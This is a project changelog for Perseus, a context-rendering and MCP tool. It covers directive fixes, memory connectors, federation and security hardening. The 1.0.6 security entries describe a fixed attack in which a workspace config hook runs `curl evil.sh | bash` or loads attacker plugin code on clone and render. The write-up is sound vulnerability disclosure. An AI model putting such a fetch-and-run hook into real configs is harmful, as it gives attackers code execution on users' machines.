@tier:Nno longer leaks into directive resolver args (#631). Both extraction paths took directive args from the regex match made before the tier strip, so@query "cmd" @tier:2passed the literal@tier:2into resolver args, modifier parsing (fallback=/schema=/timeout=scanning saw stray text), cache keys (pre-scan and main loop diverged → spurious misses / double execution), and — for unquoted commands — the executed command string itself. Args now derive from the tier-stripped line at the main loop's shared extraction point (covering every generic inline directive, not just@query) and from the pre-scan's cleaned text. Cache design decision: a tier annotation does not partition the cache — tier gates whether a directive runs, not what it produces, matching how@cachemodifiers are excluded from the key — so@query "cmd" @tier:2and@query "cmd"share one entry and the two execution paths agree. 7 regression tests intests/test_tiered_context.py. -
@queryshell exec now enforces thePERSEUS_ALLOW_DANGEROUSdefense-in-depth gate (#616). Previously gated onrender.allow_query_shellconfig only, while the registry summary, docs, and sibling shell-exec directives (@agent,@servicescommand) promised/enforced the env gate. Bothresolve_queryAND the@if query("cmd") matches /re/condition helper now require the env var (config first, env second,policy_deniedaudit);@queryrejoined_ENV_GATED_DIRECTIVESso cache fingerprints track env flips. Breaking for config-only setups — exportPERSEUS_ALLOW_DANGEROUS=1to restore@queryexecution (this was always the documented posture). -
@profile/ memory-dedup heuristic edges (#627). (1) The@profilesource scan is now fence-aware: a directive shown inside a ``` / ~~~ code fence is documentation and never switches the render's memory posture (reuses the renderer's shared fence-state helpers). (2) Multiple@profilelines: first-wins is now documented and visible — every banner after the first is marked "⚠ ignored — first @profile governs" instead of rendering as a silently non-governing normal banner. (3) The memory-dedup gate matches only the exact Perseus-generated section headers (current + historical variants); a memory-like user-authored heading (e.g. "## Persistent Memory Design") no longer suppresses injection — it injects normally with a stderr note flagging the near-miss. Default renders without `@profile`/memory sections are byte-identical. -
prompt-size/@budget accounting nits (#626).
@budgetdeclarations found inside@include'd files are now surfaced as a not-enforced warning (newincluded_budgetsJSON field + stderr note) instead of being silently ignored — enforcement semantics are unchanged (top-level only, documented as an explicit scope contract including the text-level@ifbehavior). The scan is text-driven from the top-level source (fence-aware, workspace-relative resolution, cycle-safe via resolved-path dedup, capped atrender.max_include_depth) so the report is identical on cold and warm@includecache — transitive includes included.static.tokens(derived as total − Σ per-directive tokens) is clamped at 0 — BPE counts are not additive, so exact mode could go slightly negative — and flaggedtokens_derived; the byte invariant stays measured and exact. -
@bandithardening (#622–#625). Four follow-ups from the independent review of PR #617 (all on the opt-in surface; the defaultrender.bandit: offpath stays byte-identical): a render aborted by a directive error no longer leaks a stale_BANDIT_ACTIVEcontext into direct_render_linescallers like the LSP hover path (#622,try/except+_bandit_abort; the incomplete render is not persisted); the ledgerarmsmap is now capped with last-seen eviction (render.bandit_max_arms, default 200, mirroringbandit_max_renders) so templated directive args can't grow the ledger file unboundedly (#623); malformedbandit_seed/bandit_budgetconfig values fall back to defaults with a stderr warning instead of raising out of an opted-in render (#624); and the parallel@querypre-scan now consults the bandit policy before pre-executing — dropped arms never pay the shell-execution cost — while prefetched results are charged to the collector/ledger so hidden prefetch costs can't bias future include/drop decisions (#625; decisions are memoized per arm so the pre-scan and the render loop can never disagree). 6 new regression tests intests/test_bandit.py. -
Wave-3 merge-review follow-ups (#609–#614, PR #615).
compare_digeston bytes (#609),do_POSThost-guard (#610),@servicesno-redirect (#611), env-fingerprint scoping (#612), prefetch cache key (#613), identity file0o600permissions (#614).
@memory mode=searchno longer silently drops vault (MCP) hits or misreports why (#539).MemorySegmentnow carries anerrorfield describing why the vault produced zero items (unreachable, MCP call failed, or genuinely disabled) instead of collapsing every failure into the generic "fresh install, no memories" message._resolve_memory_searchrenders a distinct "Vault unreachable (<reason>)" warning when the vault genuinely couldn't be queried, separate from the case where it was reachable and simply found no matches. The--explaindirective manifest picks this up automatically since the warning is part of the rendered directive output. 3 new regression tests intests/test_mimir.pycover vault-error, genuine-no-matches, and local-hits-with-vault-error scenarios.
-
Observability metadata block (#511). Opt-in (
observability.emit_metadata, default off): a top-level render prepends a<!-- perseus:meta ... -->HTML comment (version,context_hash,span_id, workspace,rendered_at, source categories) so tracers like Langfuse / LangSmith / Rifft can identify which compiled context an agent ran under. Invisible to the LLM; the default deterministic render path is unchanged. -
Quoted + named macro arguments (task-66 follow-up). Directive macros now accept multi-word arguments via single/double quotes and
key="value"named args, in addition to the existing positional whitespace-split form. Backward compatible: an unquoted, no-=argument string splits on whitespace exactly as before, and an unbalanced quote falls back to a plain split rather than raising. This enables self-contained card-style macros (e.g. a four-zone "what / why / next / source" actionable-item card). New tests intests/test_macros.py.
- MCP Registry readiness (#506). Perseus now publishes to
registry.modelcontextprotocol.io:
server.jsontrimmed to the registry's limits and themcp-nameownership marker in the README corrected to theio.github.Perseus-Computing-LLC/perseusnamespace, plus an OIDC publish workflow. The registry is the source the MCP directories (Glama, PulseMCP, mcp.so) crawl.
- Constructing the Mimir connector no longer touches the filesystem (#506).
_MCPStdioClient.__init__calledos.makedirswhile parsing--db, so merely instantiating the connector (e.g. to read.status) created directories on disk. Directory creation moved toconnect(), where the subprocess is actually spawned; construction is now a pure, side-effect-free operation.
perseus scanis faster on large contexts (#504). The secret/PII scanner masked each finding's line by re-running every rule over it — O(findings × rules) even when many findings share a line — and built its line-offset table with a per-character Python loop. Lines are now masked once and cached by line number, and the offset table is built with a C-levelstr.findscan. Identical output.- Mimir connector config-hash keyed on the
mimirsubtree only (#503)._get_connectorstringified and SHA-256'd the entire Perseus config on every@memory/@mimirdirective just to detect a connector-relevant change. It now hashes only themimirconfig block (deterministicjson.dumps(sort_keys=True)) — cheaper on the hot path, and it no longer rebuilds the connector when unrelated config changes.
- Connector merge diagnostics (#503) —
merge_mneme_onlyreported the mimir-only count instead of the local/mneme-only count (a copy ofmerge_mimir_only). Observability only.
- Mimir connector MCP stdio client is now genuinely fail-safe (#502). The connector is
the convergence surface between Perseus and Mimir and is meant to degrade
gracefully when Mimir misbehaves, but four flaws broke that promise:
- The configured
timeout_swas dead —_calldid a bare blockingstdout.readline(), so a hung Mimir subprocess blocked the entire render indefinitely. Responses are now read through a background reader thread with a real deadline; on timeout the process is torn down so the circuit breaker trips. - Leaked subprocess on a failed
initializehandshake —connect()now callsdisconnect()on every failure path instead of orphaning the process. - Undrained
stderr=PIPEcould deadlock a chatty server once the OS pipe buffer filled; stderr is nowDEVNULL. - No request/response id correlation — a stray notification or out-of-order
reply desynced every subsequent call.
_callnow skips notifications and non-matching ids until the correct response (or the timeout) arrives.
- The configured
perseus scan— secrets/PII build gate. Renders a context (with redaction disabled, in-memory only) and scans the resolved output for secret shapes, exiting non-zero on findings so CI can block a context that would leak credentials — catching secrets pulled in via@env/@query/@include/@tool. Reports are masked (a finding never prints the secret value).--piiadds opt-in PII detectors (email, US SSN, US phone, Luhn-validated credit card; precision-first so git SHAs / checksums / non-Luhn digit runs don't trip it);--report-onlyreports without failing;--jsonfor machine output. Newredaction.detect_piiconfig toggle (default off). PII is detection-only — it is not auto-redacted from render output, since emails/phones are often legitimate content. (#481)
perseus compress— deterministic context compression. Renders a context then shrinks it losslessly-for-meaning and reports a citable token-reduction percent. Unlike ML compressors (LLMLingua), it is fully deterministic and dependency-free: trims trailing whitespace, collapses blank-line runs (max_blank_lines), drops adjacent duplicate lines, and optionally strips HTML/markdown comments — while preserving fenced code blocks verbatim. The same input always yields the same output and the same number, so a build can assert on it.--output/--json/--max-blank-lines/--no-dedup/--strip-comments; newcompressconfig block (off by default). (#482)perseus preview— diffable token-annotated compile preview. Renders a context then shows where the tokens go — a per-directive and per-section token budget. The pairing forcompress: compress shrinks the context, preview shows what is taking up the space to begin with. Output is intentionally stable and free of volatile fields (no timestamps, durations, or cache flags) and ordering is deterministic, so the same source yields byte-identical output and a build can diff its context budget over time. Reports tier-skipped directives.--jsonfor a stable CI-diffable schema;--tier/--no-cache. (#483)
- Context Adapter SDK — compile a Perseus context once and drop it into any agent framework without making Perseus a framework dependency:
compile_context()(the "resolve once" primitive),as_messages()(universal role/content), andcompose(target="text"|"messages"|"langchain"|"llamaindex"). Framework adapters lazy-import their framework only when called. Seedocs/CONTEXT-ADAPTER-SDK.md. (#477) - Mimir hot-entity injection —
MimirConnector.context()wraps Mimir'smimir_contexttool soalways_on"hot" entities load first into rendered context (previously an empty-query recall dropped them); scoped via the newmimir.context_categoriesconfig key, with a fail-safe fallback for older Mimir. The first cross-product Memory+Context "compose, don't replace" demo. (#474) - Reproducible offline benchmark —
benchmark/compose/compares compiled-context token size and answer coverage against naive / LangChain-BM25 / LlamaIndex-BM25 retrieval, fully offline (no LLM, no network). Honest framing: Perseus's edge is full answer coverage at a fixed deterministic size with no retrieval index, not a dramatically smaller payload. (#476) - Docs reconciliation — corrected stale Mimir references (v2.0.0/36 tools/"no embeddings model required" → v2.2/40 tools/bundled embeddings by default) and replaced fictional Mimir tool names with real ones across README/SETUP-GUIDE/EXPORT-CONTROL. (#475)
- Federation hot-path optimizations: parallelized pull fan-out, subscriber push, digest-narrative fetches, and conflict-section pre-tokenization; fresh remote-narrative cache served without a network fetch; single-pass drift-metric computation; debounced
@memorynarrative read-rewrite; skipped recall-index write when nothing changed; memoized satellite-connector binary-path probes. (#445, #447, #448, #449, #456, #457, #458, #459, #460, #461, #463, #464, #472) render_sourceis now a top-level API; fixed parallel@querycache-key clobbering and a persistent MCP client gap. (#462, #471)
- Windows is now a first-class platform — the full test suite passes on Windows and a
windows-latestCI job keeps it green. Fixes shipped: cross-platform advisory file locking (replacing the POSIX-onlyfcntl), checkpointfsyncon a writable handle (Windowsos.fsyncrejects read-only fds), LSPfile://URI→path conversion viaurl2pathname,os.chownguarded forperseus render -o, explicit null-byte path rejection,cmd.exe-default shell for@if/@query, detached subprocess stdin, UTF-8 for all file I/O, and process-tree kill for runaway shell hooks. (#426, #427, #428, #429, #432, #435, #436)
@includewindowing — bound a growing included file withlast=N(final N lines) orsince=14d/2w/24h(recent dated sections only); optionalrender.max_include_warn_bytesadvisory when a single include renders oversized. (#433)
- #430 — scheduler (
launchd/cron/systemd) now invokes a version-stableperseuslauncher (~/.local/bin/perseus, thenPATH, then a flagged version-specific fallback) instead of baking in the versioned interpreter path, so scheduled renders survive a Python minor-version upgrade. - #431 — render staleness is now visible:
perseus render --outputprints a versioned, timestamped audit line on each run (suppress with--quiet), andperseus doctorflags rendered outputs older thanrender.staleness_warn_hours(default 48h).
Published to PyPI on 2026-06-20. The Windows-portability work, @include
windowing, and the scheduler/staleness fixes (#430/#431/#433) landed after
this release and ship in 1.0.10.
- Decentralized federation — Cross-instance context sharing with cryptographic identity and a push transport, so workspaces can exchange context under explicit access control. (tasks 96–101)
@tokens— token budgeting/accounting in context resolution. (#395)@dedup— de-duplicate repeated content during render. (#396)@memorytiers — tiered memory selection in the resolve pipeline. (#397, #399)
perseus_trace(stub) — MCP tool stub for PROV-O provenance tracing; interface only, not yet implemented. (#401, #406)--offlineflag (stub) — air-gapped deployment stub for disabling network-dependent features. (#403, #407)
- Mnēmē narratives indexed by default — align the indexer's vault path with the writer's store path and enrich frontmatter, fixing a case where the FTS5 narrative index was left empty.
- Federal procurement posture — government procurement landing page, federal buyers guide, SBOM, and a NIST AI RMF alignment mapping all four functions (Govern/Map/Measure/Manage) to Perseus and Mimir. (#402, #405)
- Export-control self-classification — EAR99, no ITAR; public-availability exclusion for AES-256-GCM.
- SECURITY.md — added vulnerability reporting process, attack-surface analysis, and compliance posture.
- Full redesign — all pages rebuilt on the pitch-deck design system; static HTML replaces the 429 KB bundler. Added Perseus Cloud and Plutus landing pages; PR Pilot and Blast Radius product pages refreshed; page-load flash / font FOUT fixes. (#413, #415, #417, #420, #421)
- Funding — Polar.sh and Ko-fi links added.
- #400 — clearer error message when
context.mdis missing. (#404) - #391 — bumped internal version pins to v1.0.8.
- #392 —
@agoranow logs a warning in broad exception handlers. - Docs — corrected the Mimir section of the setup guide (config key, tier model, tools, install) and updated the Mimir version reference to v2.0.0.
- Perseus Computing LLC — All source, docs, and config migrated from personal account (
tcconnally) to organization (Perseus-Computing-LLC). Author field, URLs, server.json, and website links updated. (#374, #375) - Company branding — Added Perseus Computing LLC branding across the site. (#369)
- Hermes context-engine adapter — New adapter for Hermes Agent's context engine with tool-schema fixes. (#376)
- Gauntlet v2 100.0/100 — Full benchmark suite passing. Site, SVG, and README updated with current scores.
- #368 — Mason docs, Mneme fallback warning, @tool test coverage.
- #377 — Version banner fix for auto-rebuild CI.
- #378 — Improved Mimir binary-not-found diagnostic.
- Mimir v0.2.0 — Upgraded Mimir connector to the new entity model. Mimir now provides structured entities with category/key idempotent upsert, journal events (evaluated/acted/forward), state management with TTL, entity linking, soft-delete, category-filtered recall, and session context injection. 17 MCP tools total.
- Sibyl Memory removed —
sibyl_memory.py,sibyl_mcp_server.py,@sibyl/@sibyl_statedirectives, and thesibyl-memory-clientSDK dependency have been removed. Mimir is the sole persistent memory backend. - Renderer — Sibyl passive auto-injection replaced with
_mimir_context_injectin the render pipeline. - Connector rewrite —
mimir_connector.pyrewritten for the entity model. Class renamedMnemeConnector→MimirConnector. Data model:MemoryHit→EntityHit,_parse_memory_hits→_parse_entity_hits. - Config — New optional keys:
context_categoriesandcontext_limitfor session context injection.
- #277 —
@memorycache fingerprints include active Mimir connector configuration.
[1.0.6] — UNRELEASED (security guide)
-
#169 — Workspace-sourced plugin configuration (
plugins.dir) is now refused by default. Pre-1.0.6 a workspace.perseus/config.yamlsettingplugins.dir: /path/to/attacker/codecaused_discover_plugins()tospec.loader.exec_module(mod)on every.pyfile in that directory at startup — full Python execution before any directive trust gate, audit, or user prompt. Same attack vector as #168 but with no shell-quoting limits. Attack: git clone a malicious workspace, get pwned.Fix:
_discover_pluginsconsultscfg["_provenance"]["plugins_workspace_sourced"]set byload_config. Workspace-sourced plugin config is refused unless BOTH:- Global
~/.perseus/config.yamlsetsplugins.allow_workspace_sourced: true - Env var
PERSEUS_ALLOW_DANGEROUS=1
Refusal emits a
plugins_workspace_refusedaudit event with the refused directory path. Global-sourced plugin config is unaffected.Regression suite (8 tests): workspace plugin dir refused by default, allowed with full opt-in, refused with only-global, refused with only-env, global plugins always load, audit trail, no false-positive refusal when no plugin config exists, allow-gate helper unit test.
- Global
-
#168 — Workspace-sourced shell hooks and Python
hooks.dirare now refused by default. Pre-1.0.6 a workspace.perseus/config.yamlcould declarehooks.on_render_start: ["curl evil.sh | bash"]and the command would run on the nextperseus render— noallow_query_shell, noPERSEUS_ALLOW_DANGEROUS, no audit. Same attack viahooks.dir: /path/to/attacker/code(Python top-level code runs at import time). Attack: git clone a malicious workspace, get pwned.Fix:
load_configannotatescfg["_provenance"]with which sections came from the workspace source.hooks.pyrefuses workspace-sourced shell hooks andhooks.dirPython hooks unless BOTH conditions are met:- Global
~/.perseus/config.yamlsetshooks.allow_workspace_sourced: true - Env var
PERSEUS_ALLOW_DANGEROUS=1is set
Refusal emits
hooks_workspace_refused/hooks_workspace_shell_refusedaudit events plus a stderr warning. Global-sourced hooks are unaffected (the user owns global config; trust is implicit).Regression suite (10 tests): workspace shell hook refused, allowed with full opt-in, refused with only-global opt-in, refused with only-env opt-in, global hooks always run, provenance tracking, audit trail, Python hooks.dir refused.
- Global
Mnēmē v2 receives an optional persistent memory accelerator via Mneme, an MCP-based hybrid resolution bridge. Mnēmē alone is an in-process local memory engine (SQLite FTS5, zero daemon, 37ms P50 search). Mneme adds a second tier: a remote persistent memory backend with Ebbinghaus time-decay, topic trees, and hybrid search (semantic + BM25) accessible over MCP JSON-RPC.
The hybrid resolution flow (Project Synapse) merges both layers at render time:
- Sense layer (Live) — Perseus resolves current environment state (ports, services, system health).
- Memory layer (Mneme) — Queries the remote backend for relevant historical context (architecture decisions, past debugging sessions, project conventions).
- Merge — Combines both into a single
ContextPackage, with Mneme results ranked bydecay_score(Ebbinghaus algorithm) so recently reinforced memories surface first.
Infrastructure:
MnemeConnector— MCP client communicating with Mneme via stdio JSON-RPC (SSE for remote deployments).- Circuit breaker and exponential backoff (threshold: 3 failures, 120s cooldown) — if Mneme is offline, Perseus automatically degrades to local-only Mnēmē FTS5 without hanging or crashing.
- Configuration under the
mneme:block in config.yaml withmerge_strategy(local_first, remote_first, interleave),retry_policy, and connection parameters.
Data model: MemoryHit, MemoryLayer (core/working/buffer),
and ContextPackage dataclasses enforce source tagging so the
assistant can distinguish "what is happening now" from "what we
decided then."
FTS5 fallback (v1.0.6+, mneme v0.5.0+): When memory_recall returns
empty vector results (e.g., the embedding index is cold or not yet built),
Perseus automatically falls back to local SQLite FTS5 keyword search over
the mneme database (~/.perseus/mneme/mneme.db). This guarantees memory
recall always returns results — no silent empty responses. The mneme binary
(mneme) writes to this database; Perseus reads it directly.
memory_add is async: The memory_add MCP tool returns null or empty
while the LLM-based fact extraction pipeline runs in the background. Perseus
treats null responses as success — data is stored and will be available on
the next memory_recall call. No polling or retry logic is needed.
All Mnemosyne-specific types and gRPC transport have been replaced.
The @memory directive and MCP tool perseus_memory resolve
through the unified hybrid path. 32 smoke tests validate the full
pipeline including circuit breaker open/close, backoff timing,
merge strategies, decay-score ordering, and graceful degradation.
Config migration: Replace any legacy mnemosyne: block with
mneme:. See SETUP-GUIDE.md § Mneme Hybrid Resolution
for the full configuration reference.
Mnēmē v1 — Persistent Memory Backend (upgraded to Mnēmē v2 in 1.0.6; Mneme hybrid accelerator added in 1.0.6):
⚠ The initial
@mnemedirective and memory backend were upgraded in a subsequent release to the native Mnēmē v2 SQLite FTS5 backend. The@memorydirective now routes exclusively through Mnēmē v2. In v1.0.6, Mnēmē v2 gains an optional Mneme hybrid accelerator (Project Synapse) — an MCP-based remote memory backend with Ebbinghaus time-decay and semantic + BM25 hybrid search. Local-only mode remains the zero-dependency default.
- task-86 —
@mnemedirective: query persistent memories via the Mnēmē memory backend. - task-87 —
_mneme_recall()memory client. - task-88 —
@memorybackend routing (Upgraded — unified under Mnēmē v2.) - task-89 —
memory.backendconfig key (Upgraded in Mnēmē v2.) - task-90 — 20 new tests (Upgraded with the feature.)
Phase 24 — Extensibility Architecture (Hephaestus):
- task-65 — Plugin directive system: auto-discovered Python plugins under
~/.perseus/plugins/. Each module exports aREGISTERdict ofDirectiveSpecentries. Plugin errors are warnings, not fatal. - task-66 — Directive macros:
@macro name ... @endmacroblocks in context documents or.perseus/macros.md. Pre-processing pass expands invocations before the resolver loop. - task-67 — Render pipeline hooks: lifecycle callbacks (
on_render_start,on_directive_resolved,on_cache_hit/miss,on_render_complete,on_directive_error) via shell commands or Python callbacks. - task-68 — Output format adapters: plugin interface for custom formats beyond markdown/HTML.
perseus render --format jsonreturns structured{resolved, directives}output. - task-69 — Foreign resolver protocol:
@perseus <url>fetches rendered context from remote Perseus serve instances. HMAC signature verification, TTL caching, graceful degradation. - task-70 — Custom schema validators: plugin validators in
.perseus/schemas/. Referenced viaschema="plugin:my-validator". Works alongside the built-in validator. - task-71 — Pipe syntax: lightweight chaining —
@query "ls" | @cache ttl=300. Left-to-right resolution, output of stage N becomes input of stage N+1. - task-72 — Event webhooks: POST render lifecycle events to external URLs with optional HMAC-SHA256 signing. Config-driven with per-event selection.
- task-73 — Tool directive integration:
@tool "path/to/tool"with config-based allowlist, argument restrictions, timeouts, and output size caps. - task-74 — Directive aliasing: config-driven shorthand —
@q→@query,@svc→@services. Single-pass expansion, built-ins always win collisions.
Phase 25 — MCP Deep Integration:
- task-75 — Expose every directive as an MCP tool.
perseus mcp serveruns a JSON-RPC 2.0 MCP server over stdio. EachDIRECTIVE_REGISTRYentry becomes aperseus_<name>tool with auto-generated descriptions and input schemas. Trust gates enforced per-tool. Backward compatible with existingperseus_get_context/perseus_get_health.
Phase 24 — Assistant format targets, hook installer, MCP server (~840 lines):
- task-77 — Assistant format targets:
perseus render --format agents-md|claude-md|cursorrules|copilot-instructionsrenders.perseus/context.mdinto every major assistant's native context file. Auto-resolves default output paths. Each file gets a "Generated by Perseus" header pointing back to the source. - task-78 — Hook installer:
perseus install --target claude-codedrops SessionStart + UserPromptSubmit hooks into.claude/settings.jsonfor automatic context injection at session start and on every prompt. Also supports--target cursor,gemini-cli,copilot. Smart merge preserves existing hooks. - task-79 — MCP server façade:
perseus mcp serveruns as a JSON-RPC 2.0 MCP server over stdio, exposing 13 Perseus directives as native MCP tools (query, services, memory, skills, waypoint, session, agora, inbox, read, env, health, agent, date).mcp configprints ready-to-paste client configs.
Distribution:
- task-80 — MCP Registry listing published live (
server.json) — 13 tools, PyPI transport. - task-81 — Anthropic Skills marketplace listing (
SKILL.md) — ready for PR toanthropics/skills. pyproject.tomlversion bumped to 1.0.3.
Show HN preparation:
- task-82 — Swarm demo script — 120 agents, 4 batches, 51 frames of parallel multi-agent coordination.
- task-83 — Swarm demo GIF re-themed to match perseus.observer palette; added to README Multi-Agent section.
- task-84 — Show HN post draft.
- task-85 — Cyberpunk v2 landing page deployed to perseus.observer.
CI, docs, and tooling:
- GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
.coveragerc— 70% coverage threshold.- 596 tests passing, 1 skipped.
Bug fixes (Opus 4.7 Max / Codex 5.5 Extreme High benchmarks):
- task-63 — Fixed
Path.write_textmissing encoding on Windows — emoji (📌) crash in default prompts. - task-64 — Fixed
/bin/bashunreachable on native Windows Python — added_get_shell()helper usingshutil.which()with system-default fallback for@query,@services, and@agent. - task-65 — Fixed
@querybinary stdout NoneType crash — guardedresult.stdoutwithor "". - task-66 — Fixed
perseus --helpcrash on Windows (Mnēmē macronēcan't encode tocp1252) — addedsys.stdout/stderr.reconfigure(encoding="utf-8")at import time.
New features:
- task-67 —
render.max_query_bytes(default 256 KB) — caps runaway@querystdout with a visible truncation marker. Prevents 12 MB scanner output from silently inflating context documents (47× output reduction demonstrated). - task-68 — Configurable
@querytimeout —render.query_timeout_s(default 30s) and per-directivetimeout=Nmodifier (e.g.@query "..." timeout=120). - task-69 —
render.parallel_services(opt-in, default off) — concurrent@serviceshealth checks viaThreadPoolExecutor. 100 services go from ~5 min serial to ~3 s parallel. - task-70 —
render.parallel_queries(opt-in, default off) — pre-scans top-level@querydirectives and resolves them concurrently. Directives inside@ifbranches remain sequential.
Integrations:
- task-71 — VS Code / Cursor extension — auto-renders on
.perseus/context.mdsave, status bar indicator, auto-detects target assistant file, watch mode. - task-72 — Claude Code session hook — one
curlinstall, runsperseus renderbefore every Claude Code session. - task-73 — GitHub Action — renders context on push/schedule, commits back to repo so every developer gets pre-resolved context without installing Perseus locally.
Multi-agent coordination:
- task-74 — Shared checkpoint store — agents across machines/sessions share a single checkpoint
store (config:
checkpoints.storepath, accessible via NFS/SMB/unison). - task-75 — Lock file mechanism —
os.O_CREAT | os.O_EXCLatomic lock in the checkpoint store prevents concurrent writers from clobbering. Retries with backoff for ~11s before failing gracefully. NFS-safe (O_CREAT | O_EXCL is atomic cross-filesystem). - task-76 — Checkpoint recovery —
perseus recover --from <store>reads the latest checkpoint and prints the workspace/task/status triplet so an agent dropped into a terminal knows exactly where to resume.
Benchmarks:
- Extreme scaling sweep on Linux: 10 → 10,000
@querydirectives, 4 modes each (sequential, cached, parallel, cached+parallel). Cache warm time stays flat at ~0.3–0.5s regardless of scale. 10,000 queries at 0.52s warm (25× vs 13.1s cold). - Integrated heavy benchmark suite (
benchmark/heavy/) with 4 reports, setup harnesses, machine-readable result JSONs from Claude Code Opus 4.7 and Codex 5.5 Extreme High runs. - Efficiency infographic on README showing cold→warm scaling curve and 40× warm speedup.
CI, docs, and tooling:
- Added GitHub Actions CI workflow with coverage on Python 3.10/3.11/3.12.
- Added
.coveragerc— 70% coverage threshold. - Updated
.gitignorefor generated context files (CLAUDE.md, AGENTS.md, .cursorrules). - Updated demo GIF with 6-scene cold→warm walkthrough.
- 540 tests passing, 1 skipped. 70% coverage on the 10,463-line artifact.
Patch release: corrects the PyPI author field to the GitHub handle (tcconnally).
No code changes; all 496 tests pass.
- task-62 (follow-up) — post-release doc and metadata fixes: corrected PyPI author field, updated test-count references across README/docs/index.md to reflect live count (496 passed, 1 skipped), and aligned PRODUCT_CONTRACT.md status to v1.0.1 stable.
All Phase 1–22 tasks complete. Perseus v1.0.0 — the first stable release.
- task-56 — Phase 20C: added headless watch mode (
perseus watch) — inotify/polling file watcher with configurable interval, re-render on change, and debounce. Degrades gracefully when watchdog is unavailable. - task-57 — Phase 21A: added golden evaluation corpus under
tests/fixtures/golden/covering render, synthesis, and Pythia output shapes; deterministic comparison harness intests/test_golden.py. - task-58 — Phase 21B: added performance budget framework (
tests/test_perf_budgets.py) with per-command cold/warm timing, advisory warnings at 2× budget, and configurable thresholds. Three commands (render, graph, prefetch) emit advisory warnings in the current environment — not failures. - task-59 — Phase 21C: added compatibility and migration suite (
tests/test_compat_migration.py) covering checkpoint round-trip compatibility, config migration (oracle:→pythia:rename), pack manifest version handling, and install/upgrade smoke paths. - task-60 — Phase 22A: added
docs/index.md(documentation hub),docs/quickstart.md(install-to-render in 10 steps), anddocs/CONTRIBUTING.md(contributor guide with single-file constraint, directive authoring 4-touch pattern, test conventions, Agora workflow). Updated README with## Documentationsection. - task-61 — Phase 22B: added
examples/with three runnable demo workspaces:local-cli/(render, checkpoint, recover, suggest, doctor),assistant-profile/(context pack, hermes profile, @memory + @agora), andcontainer/README.md(Docker mount and auth guide). Smoke scripts verified end-to-end. - task-62 — Phase 22C: v1 release candidate checklist. 493 tests passing (1 skipped
TCP smoke). Release artifacts built and checksums verified. README/CHANGELOG/ROADMAP
docs aligned. Version bumped to
1.0.0-rc.1. Known limitations documented.
Release candidate — superseded by v1.0.0.
- task-63 — Completed the Oracle → Pythia internal rename while preserving the
public
perseus oracleCLI compatibility surface. Added legacyoracle:config warnings and one-timeoracle_log.jsonl→pythia_log.jsonlmigration. - task-49 — Phase 18B: added
tests/test_release.py(16 tests) covering all release artifact acceptance criteria — version coherence, repeatability, SHA256SUMS integrity, CHANGELOG task mapping, and tarball contents. - task-50 — Phase 18C: aligned scheduler behavior and docs around host-neutral POSIX crontab generation, macOS launchd, Linux systemd, and explicitly deferred native Windows Task Scheduler support. Added scheduler smoke tests and repaired release artifact portability on macOS/BSD tar.
- task-51 — Phase 19A: added offline adapter conformance fixtures and a parametrized harness covering generic, Hermes, Codex, Claude Code, Cursor, and Rovo Dev render outputs, pack manifests, and integration docs.
- task-52 — Phase 19B: promoted product profiles into a documented gallery with output paths, trust defaults, refresh guidance, non-interactive generation tests, and hardcoded-path guards for all six supported profiles.
- task-53 — Phase 19C: polished the VSCode extension for release with reproducible packaging docs, package scripts, LSP render/checkpoint/mutation smoke tests, and static package-manifest checks.
- task-54 — Phase 20A: added optional bearer-token authentication for
perseus serve, a token generator, non-loopback bind safety gates, trust report serve fields, and HTTP auth tests. - task-55 — Phase 20B: added a single-file-runtime container image, compose examples for render and authenticated serve, container trust docs, and static/optional Docker smoke tests.
- task-56 — Phase 20C: added
perseus watch, a dependency-free polling loop for refreshing single source files or context-pack render targets, with deterministic debounce tests and clean shutdown behavior.
- task-45 — Permission profiles (
strict/balanced/power-user);perseus trustand--json;serve.bindpromoted to config; version bump to 0.9.0. - task-46 — Secrets redaction (
DEFAULT_REDACTION_RULES,redact_text()) at render/synthesize/serve trust boundaries; source files never mutated; counts-only report. - task-47 — Audit log (
audit_event()JSONL with rotation); emitters at 5 trust boundaries;perseus trust audit [--tail N] [--json]; defaultperseus trustshows audit posture; secret values never persisted.
- task-48 — Installer bootstrap (
scripts/install.sh+INSTALL.md); preserves the single-file runtime; verifies Python 3.10+ andpyyaml; idempotent upgrade and clean uninstall. - task-49 — Release artifacts and versioning:
VERSIONfile as source of truth,scripts/release.shproduces a deterministic tarball + zip + SHA256SUMS, this changelog, and version-coherence checks (perseus.py / VERSION / CHANGELOG).
- Tests: 393 passing, 0 skipped.
- Single-file runtime:
perseus.py(pyyamlonly).
Pre-Phase 17 history is tracked in tasks/ (closed task files) and HANDOFF.md.